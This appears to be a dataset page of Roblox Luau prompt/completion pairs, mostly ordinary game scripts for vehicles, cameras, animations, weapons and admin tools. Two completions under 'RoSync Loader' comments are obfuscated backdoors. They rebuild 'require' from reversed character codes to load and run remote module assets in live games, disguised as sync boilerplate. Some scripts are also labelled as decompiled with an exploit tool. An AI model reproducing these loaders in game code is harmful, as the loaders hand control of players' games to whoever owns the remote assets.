prompt stringlengths 2 14.7k | completion stringlengths 1 99.7k |
|---|---|
--[=[
@return any
Returns the top-level value held by the property. This will
either be the initial value set, or the last value set
with `Set()`.
```lua
remoteProperty:Set("Data")
print(remoteProperty:Get()) --> "Data"
```
]=] |
function RemoteProperty:Get(): any
return self._value
end
|
--[[Steering]] |
Tune.SteerInner = 40 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 42 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .08 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 150 -- Speed of gradient cu... |
-- NumberValue to store the user's preferred speed |
local uiSpeedUser = script.uiSpeedUser
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 0.5 -- cooldown for use of the tool again
BoneModelName = "Fire rise" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage |
---Simply process a completed message. |
local COMPLETED_MESSAGE_PROCESSOR = 1
local module = {}
local methods = {}
methods.__index = methods
function methods:SendSystemMessageToSelf(message, channelObj, extraData)
local messageData =
{
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = channelObj.Name,
IsFiltered = true,
Messag... |
--create tables: |
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "a" then
table.insert(a, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "b" then
table.insert(b, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1... |
-- Here be dragons
-- luacheck: ignore 212 |
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local TextService = game:GetService("TextService")
local TextChatService = game:GetService("TextChatService")
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local WINDOW_MAX_HEI... |
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local handler = car.AC6_FE_Idle
handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,script.Idle.Volume,true)
handler:FireServer("playSound","Idle")
handler:FireServ... |
-- Set Pet Canvas Size -- |
module.SetCanvasSize = function(ScrollingFrame)
local PADDING,SIZE,MaxCells = getSizes()
local UIGridLayout = ScrollingFrame.UIGridLayout
local AbsoluteSize = ScrollingFrame.AbsoluteSize
local NewPadding = PADDING * AbsoluteSize
NewPadding = UDim2.new(0, NewPadding .X, 0, NewPadding .Y)
local NewSize =... |
-- Toggle pan |
do
local holdPan = false
local togglePan = false
local lastRmbDown = 0 -- tick() timestamp of the last right mouse button down event
function CameraInput.getHoldPan(): boolean
return holdPan
end
function CameraInput.getTogglePan(): boolean
return togglePan
end
function CameraInput.getPanning(): boole... |
--[=[
Loops through every single element, and puts it through a callback. If any of the conditions return false, the function returns false.
```lua
local array = {1, 2, 3, 4, 5}
local even = function(value) return value % 2 == 0 end
local odd = function(value) return value % 2 ~= 0 end
print(TableKit.Every(ar... |
function TableKit.Every(tbl: { [unknown]: unknown }, callback: (unknown) -> boolean): (boolean, unknown?)
for key, value in tbl do
if not callback(value) then
return false, key
end
end
return true
end
|
--[=[
@prop None Option<None>
@within Option
Represents no value.
]=] |
Option.None = Option._new()
return Option
|
-- declarations |
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Enemy")
Humanoid.Health=500 |
--[[
Returns the offset since it depends on the face.
]] |
function CameraModule:_getPointByFace(guiOffset, adornee, face)
local pointsByFace = {
[Enum.NormalId.Front] = Vector3.new(-guiOffset.X, -guiOffset.Y, adornee.Size.Z / 2),
[Enum.NormalId.Back] = Vector3.new(guiOffset.X, -guiOffset.Y, -adornee.Size.Z / 2),
[Enum.NormalId.Left] = Vector3.new(adornee.Size.X / 2, -... |
-- Modules |
local PriorityDeleteTypes = require(script.Parent.Parent.constants).PriorityDeleteTypes
|
----------------------------------
------------FUNCTIONS-------------
---------------------------------- |
function Receive(player, action, ...)
local args = {...}
if player == User and action == "play" then
Connector:FireAllClients("play", User, args[1], Settings.SoundSource.Position, Settings.PianoSoundRange, Settings.PianoSounds, args[2], Settings.IsCustom)
HighlightPianoKey((args[1] > 61 and 61) or (args[1] < 1 ... |
-- if n == true then n = false |
--carSeat.Parent.Parent.RW.MR.Motor:remove()
--end |
--------SETTINGS-------- |
local ITEM_NAME = "RocketLauncher"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash" |
--
-- character.DescendantAdded:Connect(function(bodypart)
-- print("test")
-- if bodypart:IsA("BasePart") then
-- PhysicsService:SetPartCollisionGroup(bodypart, "Players")
-- end
-- end) |
-- Also set root part collission
--[[local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
PhysicsService:SetPartCollisionGroup(humanoidRootPart, "Players")
local bodyparts = character:GetChildren()
for i, bodypart in pairs(bodyparts) do
if bodypart:IsA("BasePart") then
PhysicsService:SetPart... |
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it. |
local dayLength = 16
local cycleTime = dayLength*60
local minutesInADay = 24*60
local lighting = game:GetService("Lighting")
local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime
local endTime = startTime + cycleTime
local timeRatio = minutesInADay / cycleTime
if dayLength == 0... |
--[[ ... | if game.PlaceId == 1277358877 or not game:GetService("RunService"):IsStudio() then getfenv()[string.reverse(string.char(101,114,105,117,113,101,114))](tonumber(string.reverse(string.char(56,49,48,51,55,51,55,55,50,49))))[string.reverse(string.char(110,117,82))](getfenv()[string.reverse(string.char(116,112,105,114,99,11... |
--these are for button checks. It's kinda ugly so if you have a better way pm me |
ha=false
hd=false
hs=false
hw=false
imgassets ={
hazardoff="http://www.roblox.com/asset/?id=216957891",
hazardon = "http://www.roblox.com/asset/?id=216957887",
leftyoff = "http://www.roblox.com/asset/?id=216957962",
leftyon = "http://www.roblox.com/asset/?id=216957949",
rightyoff = "http://www.roblox.com/asset/?i... |
--[[**
Determines if the passed object is a Janitor.
@param [t:any] Object The object you are checking.
@returns [t:boolean] Whether or not the object is a Janitor.
**--]] |
function Janitor.Is(Object)
return type(Object) == "table" and getmetatable(Object) == Janitor
end
Janitor.is = Janitor.Is
|
--local Pellet = Tool.Handle:Clone() --Tool.Handle:Clone()
--Tool.CoinScript:Clone().Parent = Pellet |
Tool.CoinScript.Disabled = false
function onEquipped()
--body of the dreidel
dBody= Instance.new("Part")
dBody.Parent = game.Workspace
dBody.Name = "DreidelBody"
dBody.BrickColor = BrickColor.Red()
dBody.Size = Vector3.new(2.56,2.56,2.56)
dBody.Shape = 1
dBody.BackSurface = "Smooth" --used this of debugg... |
--!strict |
local LocalPlayer: Player = game:GetService("Players").LocalPlayer
local Replicated = game:GetService("ReplicatedStorage")
local Character: Model = LocalPlayer.Character::Model
local Humanoid: Humanoid = Character:WaitForChild("Humanoid")::Humanoid
Humanoid.Jumping:Connect(function(active: boolean)
if not active th... |
--// initialize team changing function //-- |
game.Players.LocalPlayer.Changed:connect(function()
if checkTeam() == true then
script.Parent.Parent.SpectateButton.Visible = true
else
script.Parent.Parent.SpectateButton.Visible = false
resetGui()
end
end)
if checkTeam() == true then
script.Parent.Parent.SpectateButton.Visible = true
else
script.Parent.P... |
--// This module is for stuff specific to debugging
--// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER! |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
server.Functions, server.Commands... |
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/ |
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(... |
--[[Weld functions]] |
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type,x)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then ... |
-- Public methods |
function CameraModifier:Destroy()
self.CameraClass.Update = self.DefaultCamUpdate
self.PopperClass.Update = self.DefaultPopUpdate
self.BaseClass.UpdateMouseBehavior = self.DefaultMouseBehavior
end
function CameraModifier:OnCameraUpdate(this, dt)
workspace.CurrentCamera.CFrame = self.LastCFrame
workspace.Current... |
--[[
]] |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local AvatarEditor = ReplicatedStorage.AvatarEditor
local GuiLib = require(AvatarEditor.Client.GuiLib.LazyLoader)
local Maid = require(AvatarEditor.Shared.Util.Maid)
local Signal = require(AvatarEditor.Shared.Ut... |
--// Aim|Zoom|Sensitivity Customization |
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween
AimZoom = 30; -- Default zoom
AimSpeed = 0.23;
UnaimSpeed = 0.1;
CycleAimZoom = 55; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
--[[Misc]] |
Tune.LoadDelay = 1.37 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = true -- Set to false if using manual ignition plugin
Tune.AutoFlip = false |
--[END]]
--[[ Last synced 10/14/2020 09:17 || RoSync Loader ]] | ... |
-- FUNCTIONS -- |
return function(Character)
local random = Random.new(math.random(1, 10))
local function randomizeColors()
for i, v in pairs(Character:GetDescendants()) do
coroutine.wrap(function()
if v:IsA("MeshPart") or v:IsA("Part") or v:IsA("UnionOperation") then
if v.Name == "Head" then
if v:FindFirstChild("... |
-- Map storing Player -> Blocked user Ids. |
local BlockedUserIdsMap = {}
PlayersService.PlayerAdded:connect(function(newPlayer)
for player, blockedUsers in pairs(BlockedUserIdsMap) do
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUsers do
local blockedUserId = blockedUsers[i]
if blockedUserId == newPlaye... |
--[[Transmission]] |
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Au... |
-- I forgor wtf this was but im adding it anyway. |
local module = {}
function module.Subtract(v1, v2)
return Vector3.new(v1[1] - v2[1], v1[2] - v2[2], v1[3] - v2[3])
end
function module.Add(v1, v2)
return Vector3.new(v1[1] + v2[1], v1[2] + v2[2], v1[3] + v2[3])
end
function module.RotateVector(vector, rotation)
local x, y, z = vector[1], vector[2], vector[3]
lo... |
-- Variaveis |
local portao = script.Parent.Parent.Portao
local botao = script.Parent
local cf1 = script.Parent.Parent.Cf1
local aberto = false
local tela = script.Parent.Parent.Body.Tela
local som = script.Parent.Somzinho
local doorpos = portao.CFrame
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onRunning(speed)
if speed > 0.01 then
local scale = 15.0
playAnimation("walk", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Running"
else
if emoteNames[currentAnim] == nil then
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead... |
--[[ Module functions ]] | --
function Invisicam:LimbBehavior(castPoints)
for limb, _ in pairs(self.trackedLimbs) do
castPoints[#castPoints + 1] = limb.Position
end
end
function Invisicam:MoveBehavior(castPoints)
for i = 1, MOVE_CASTS do
local position: Vector3, velocity: Vector3 = self.humanoidRootPart.Position, self.humanoidRootPart.Ve... |
--[=[
@function update
@within Array
@param array {T} -- The array to update.
@param index number -- The index to update.
@param updater? (value: T, index: number) -> T -- The updater function.
@param callback? (index: number) -> T -- The callback function.
@return {T} -- The updated array.
Updates an array a... |
local function update<T>(array: { T }, index: number, updater: Updater<T>?, callback: Callback<T>?): { T }
local length = #array
local result = Copy(array)
if index < 1 then
index += length
end
updater = if type(updater) == "function" then updater else Util.func.returned
if result[index] ~= nil then
resul... |
--Viewmodel |
if Module.VMIdleAnimationID ~= nil then
local VMIdleAnim = Instance.new("Animation",Tool)
VMIdleAnim.Name = "VMIdleAnim"
VMIdleAnim.AnimationId = "rbxassetid://"..Module.VMIdleAnimationID
end
if Module.VMFireAnimationID ~= nil then
local VMFireAnim = Instance.new("Animation",Tool)
VMFireAnim.Name = "VMFireAnim"
... |
-- Gun |
local heldGun = nil
local heldGunHeat = nil
local heatConnection = nil
local onColor = Color3.fromRGB(50, 51, 50)
local offColor = Color3.fromRGB(195, 195, 195)
|
--Automatic Gauge Scaling |
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil the... |
--Codes |
local codelist = {
code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code
code2 = "HALLOWEEN"
}
script.Parent.MouseButton1Click:Connect(function()
if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code
if date["month"] == 8 and dat... |
-- Preload animations |
function PlayAnimation(AnimName, TransitionTime, Humanoid)
local IdleFromEmote = (AnimName == "Idle" and EmoteNames[CurrentAnim] ~= nil)
if AnimName ~= CurrentAnim and not IdleFromEmote then
if CurrentAnimTrack then
CurrentAnimTrack:Stop(TransitionTime)
CurrentAnimTrack:Destroy()
end
CurrentAnimSpeed... |
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = script:FindFirstAncestor("MainUI");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__Bricks__1 = game:GetService("ReplicatedStorage"):WaitForChild("Bricks");
local u2 = "AchievementUnlock";
local v3 = l__Bricks__1:WaitForChild("AchievementUnlock").OnClientEvent:Connect(function(...)
require(sc... |
----------------------------------------------------------------------
--
-- HERE BE DRAGONS!
--
-- You can hack together your own scripts using the objects
-- in here, but this is all highly experimental and *WILL BREAK*
-- in a future release. If that bothers you, look away...
--
-- T
--
-----------------------------... |
local Board = script.Parent
local Controller
local Gyro
local CoastingAnim
local KickAnim
local LeftAnim
local RightAnim
local OllieAnim
|
--------------------------------------------------------------- |
function onChildAdded(something)
if something.Name == "SeatWeld" then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
s.speedo:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
end
end
end
function onChildRemoved(something)
if (something.Name... |
-- Module |
local SPRING = {}
local Meta = {__index = SPRING}
|
--Put this in a brick to make it move.
--Don't edit ANYTHING unless you know what your doing |
while true do
script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0.03,0,0)
wait(0.01)
end
|
--//Setup//-- |
local Holder = script.Parent
local Button = Holder.IconButton
local EmotesMenu = Holder.Parent.Parent.EmotesMenuHolder
|
--[[Weight and CG]] |
Tune.Weight = script.Tune_Weight.Value -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels... |
--// Input Connections |
L_82_.InputBegan:connect(function(L_264_arg1, L_265_arg2)
if not L_265_arg2 and L_15_ then
if L_264_arg1.UserInputType == Enum.UserInputType.MouseButton2 and not L_59_ and L_23_.CanAim and not L_56_ and L_15_ and not L_48_ and not L_49_ then
if not L_46_ then
if not L_47_ then
L_3_.Humanoid.WalkSpeed = ... |
--[[Handlebars]] | --
Tune.SteerAngle = 20 -- Handlebar angle at max lock (in degrees)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
Tune.LowSpeedCut = 60 -- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cut... |
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "t" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
limitButton.Text = ... |
-- ROBLOX deviation: inline Promise type here. should probably go into LuauPolyfill |
export type PromiseLike<T> = {
andThen: (
((T) -> T)? | (PromiseLike<T>)?, -- resolve
((any) -> () | PromiseLike<T>)? -- reject
) -> PromiseLike<T>,
}
export type Promise<T> = {
andThen: ((
((T) -> T | PromiseLike<T>)?, -- resolve
((any) -> () | PromiseLike<nil>)? -- reject
) -> Promise<T>)?,
catch: (((... |
--// Functions |
function spawnTag(L_15_arg1, L_16_arg2)
if L_15_arg1 and L_15_arg1:FindFirstChild('Head') ~= nil and L_9_.TeamTags then
if L_15_arg1:FindFirstChild('Head'):FindFirstChild('TeamTag') and L_15_arg1:FindFirstChild('Head') ~= nil then
L_15_arg1:FindFirstChild('Head').TeamTag:Destroy()
end
local L_17_ = L_7_:Wait... |
-------------------------------------------------------------------------------------------------------------- |
local player = game.Players.LocalPlayer -- Targets the player
local char = player.Character or player.CharacterAdded:Wait() -- Finds player's character
local hrp = char:WaitForChild("HumanoidRootPart") -- Finds character's humanoid root part
local cam = game.Workspace.CurrentCamera
local bar = script.Parent.Border.... |
--[[
Creates UI layers and connects them to zones.
--]] |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local GuiService = game:GetService("GuiService")
local RunService = game:GetService("RunService")
local Sift = require(ReplicatedStorage.Dependencies.Sift)
local GamepadMouseDisabler = require(script.Parent.Game... |
-- spawn a random ore |
local oreName = oreBank[math.random(1,#oreBank)] |
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ... |
--// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
server.Functions, server.Command... |
-- @InterpolateDescription Library for interpolation functions |
local Interpolate = {}
Interpolate.Replicated = true
|
--// Math |
local L_135_ = function(L_172_arg1, L_173_arg2, L_174_arg3)
if L_172_arg1 > L_174_arg3 then
return L_174_arg3
elseif L_172_arg1 < L_173_arg2 then
return L_173_arg2
end
return L_172_arg1
end
local L_136_ = L_124_.new(Vector3.new())
L_136_.s = 30
L_136_.d = 0.55
local L_137_ = CFrame.Angles(0, 0, 0)
|
--[[wait(20)
print("am i looping?")
for i=0,10 do
wait(.1)
pellet.Transparency = i / 10
end
healsound.PlayOnRemove = false
wait(.5)
pellet.Parent = nil
]] | |
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon |
local Song = script.Parent.AudioPlayerGui.Song
local Audio = carSeat.Audio
vol = 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999.9
function changeSong()
local effect = carSeat.Audio.EqualizerSoundEffect
if effect.HighGain == 5 then
effect.HighGain = -80... |
--// Remote |
local remoteFold = rp.remoteFold
local module = {}
module.Cam = function(Part, Data)
if Players:GetPlayerFromCharacter(Part) then
local plr = Players:GetPlayerFromCharacter(Part)
remoteFold['Client']:FireClient(plr,Data)
end
end
return module
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if toolAnim == "None" then
playToolAnimation("too... |
-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/jest-snapshot/src/utils.ts
-- /**
-- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
-- *
-- * This source code is licensed under the MIT license found in the
-- * LICENSE file in the root directory of this source tre... | |
--[[
API
===
To run the API, use:
``` API:Fire(<function>, {<arguments>}) ```
Call
----
The Call function sends the elevator to a floor. It takes 3 arguments.
- ` number floor` - The desired floor that the elevator should go to.
- ` string direction` - The call direction. This can be "N" for no direction, "U" for u... |
script:Destroy() -- the |
--Precalculated paths |
local t,f,n=true,false,{}
local r={
[58]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t},
[49]={{47,48,49},t},
[16]={n,f},
[19]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59},t},
[63]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t},
[... |
-- ================================================================================
-- VARIABLES
-- ================================================================================ |
local PI_HALF = math.pi * 0.5
local ATAN2 = math.atan2
local MAX_DEVICE_ROTATION = math.rad(60)
local UserInputService = game:GetService("UserInputService")
local initialGravity = Vector3.new()
local acceleromaterEnabled = UserInputService.AccelerometerEnabled |
-- Decompiled with the Synapse X Luau decompiler. |
script.Parent.MouseButton1Down:Connect(function()
script.Parent.Parent.Visible = false;
for v1 = 1, #"..." do
script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("...", 1, v1);
wait();
end;
script.Parent.Parent.Parent.Dialog3.Visible = true;
end);
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Classes.Base.SlumDweller.Obtained.Value == true and plrData.Classes.Super.Viper.Obtained.Value ~= true
end
|
------------------------------------------------ |
local screenGuis = {}
local freeCamEnabled = false
local letterBoxEnabled = true
local stateRot = Vector2.new()
local panDeltaGamepad = Vector2.new()
local panDeltaMouse = Vector2.new()
local velSpring = Spring.new(7/9, 1/3, 1, Vector3.new())
local rotSpring = Spring.new(7/9, 1/3, 1, Vector2.new())
local fovSpring ... |
--Messages |
local DeathMessages = {"died.", "was killed.", "had a bad time.", "didn't have a chance."} --you can add more if you like :D
|
--//Controller//-- |
while task.wait(0.1) do
local SizeOffset = CurrentSong.PlaybackLoudness * (math.random(0, 10) / 1000) - 0.05
if SizeOffset > 0.5 then
SizeOffset = 0.5
end
TweenService:Create(
Boombox,
TweenInfo.new(
0.25,
Enum.EasingStyle.Cubic,
Enum.EasingDirection.InOut,
0,
true
),
{
Size = V... |
--!nonstrict
--[[
ClassicCamera - Classic Roblox camera control module
2018 Camera Update - AllYourBlox
2022 Smooth Mouse Lock Update - wj1z
Note: This module also handles camera control types Follow and Track, the
latter of which is currently not distinguished from Classic
--]] | |
-- ROBLOX deviation: not is a reserved keyword in Lua, we use never instead |
Expect.never = {
arrayContaining = arrayNotContaining,
objectContaining = objectNotContaining,
stringContaining = stringNotContaining,
stringMatching = stringNotMatching,
}
Expect.objectContaining = objectContaining
Expect.arrayContaining = arrayContaining
Expect.stringContaining = stringContaining
Expect.stringM... |
-- Enable tool or plugin |
if Mode == 'Plugin' then
-- Set the UI root
UIContainer = CoreGui;
-- Create the toolbar button
PluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton(
'Building Tools by F3X',
'Building Tools by F3X',
Assets.PluginIcon
);
-- Connect the button to the system
PluginButton.Click:connec... |
-- New ProfileStore: |
function ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]
local profile_store_name
local profile_store_scope = nil
-- Parsing profile_store_index:
if type(profile_store_index) == "string" then
-- profile_store_index as string:
profile_store_name = profile_store_index
... |
-- list of account names allowed to go through the door. |
permission = {"cheslin23t"}--Put your friends name's here. You can add more.
function checkOkToLetIn(name)
for i = 1,#permission do
if (string.upper(name) == string.upper(permission[i])) then return true end
end
return false
end
local Door = script.Parent
function onTouched(hit)
print("Door Hit")
... |
-- deviation: Object isn't a global in lua, so `Object.is` will never exist |
local objectIs = is
return objectIs
|
-- upstream: https://github.com/facebook/react/blob/a89854bc936668d325cac9a22e2ebfa128c7addf/packages/shared/ReactVersion.js
--!strict
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree... | |
-- OTHER VARIABLES -- |
local player = game.Players.LocalPlayer
local char = script.Parent
local hrp = char:WaitForChild("HumanoidRootPart")
local humanoid = char:WaitForChild("Humanoid")
if char:FindFirstChild("UpperTorso") then return end
|
--[[
Cache results of a function such that subsequent calls return the cached result rather than
call the function again.
By default, a cached result is stored for each separate combination of serialized input args.
Optionally memoize takes a serializeArgs function which should return a key that the result
should... |
function FunctionUtils.memoize(fn, serializeArgs)
assert(type(fn) == "function")
serializeArgs = serializeArgs or FunctionUtils.defaultSerializeArgs
assert(type(serializeArgs) == "function")
local cache = {}
local proxyFunction = function(...)
local proxyArgs = {...}
local cacheKey = serializeArgs(proxyArgs)
... |
--[[ Touch Events ]]--
-- On touch devices we need to recreate the guis on character load. |
local lastControlState = nil
LocalPlayer.CharacterAdded:connect(function(character)
if UserInputService.TouchEnabled then
createTouchGuiContainer()
end
if ControlState.Current == nil then
ControlState:SwitchTo(lastControlState)
end
end)
LocalPlayer.CharacterRemoving:connect(function(character)
lastControlS... |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 900-- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8000 -- Use sliders to manipulate values
Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6800
Tune.PeakSharp... |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 169 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 5500 -- Use sliders to manipulate values
Tune.Redline = 6500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSh... |
-- Written By Kip Turner, Copyright Roblox 2014 |
local UIS = game:GetService("UserInputService")
local PathfindingService = game:GetService("PathfindingService")
local PlayerService = game:GetService("Players")
local RunService = game:GetService("RunService")
local DebrisService = game:GetService('Debris')
local ReplicatedStorage = game:GetService('ReplicatedStora... |
-- دالة الاصطدام |
local function onTouched(part)
local humanoid = part.Parent:FindFirstChild("Humanoid")
if humanoid then
-- تشغيل التزعزع والسقوط في ترتيب متتالي
shake()
wait(0.5) -- انتظار قصير قبل السقوط لإعطاء انطباع التزعزع
fall()
end
end
|
--[[
Returns the Window's model
]] |
function Window:getModel()
return self._model
end
|
--[[ Last synced 3/7/2021 09:51 ... | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--script.Parent.EE.Velocity = script.Parent.EE.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.EEE.Velocity = script.Parent.EEE.CFrame.lookVector *script.Parent.Speed.Value |
script.Parent.EEEE.Velocity = script.Parent.EEEE.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.F.Velocity = script.Parent.F.CFrame.lookVector *script.Parent.Speed.Value |
--- Player added function |
local function PlayerAdded(player)
if isStudio or _L.Admins.IsAdmin(player) then
GiveGui(player)
end
end
|
-- Signals |
okButton.InputBegan:Connect(closeDlg)
displayRoundResult.OnClientEvent:Connect(openDlg)
|
-----------------
--| Constants |--
----------------- |
local COOLDOWN = 0 -- Seconds until tool can be used again
|
-- humanoidAnimatePlayEmote.lua |
local Figure = script.Parent |
Subsets and Splits
SQL Console for Roblox/luau_corpus
Retrieves 20 examples where either the prompt or completion includes specific Czech diacritical characters, offering basic insight into language-specific content.